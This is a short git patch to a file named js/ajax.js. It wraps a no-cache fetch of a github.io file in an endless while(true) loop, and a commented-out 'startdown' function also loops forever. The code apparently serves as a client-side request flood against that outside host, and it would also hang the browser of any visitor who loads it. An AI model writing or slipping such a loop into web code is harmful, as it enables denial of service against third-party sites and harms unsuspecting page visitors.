From d67e5af23c602ab741f33ec13765b455a873d172 Mon Sep 17 00:00:00 2001 From: Boof <97455552+hexahigh@users.noreply.github.com> Date: Wed, 18 Jan 2023 13:49:51 +0100 Subject: [PATCH] e --- js/ajax.js | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/js/ajax.js b/js/ajax.js index 8fa945a..d7deabd 100644 --- a/js/ajax.js +++ b/js/ajax.js @@ -40,13 +40,14 @@ const controller = new AbortController() // 5 second timeout: const timeoutId = setTimeout(() => controller.abort(), 5000) - -fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => { +while(true){ + fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => { // completed request before timeout fired // If you only wanted to timeout the request, not the response, add: // clearTimeout(timeoutId) -}) + }) +} /*window.onload = async function startdown(){ while(true) { //await delay(10);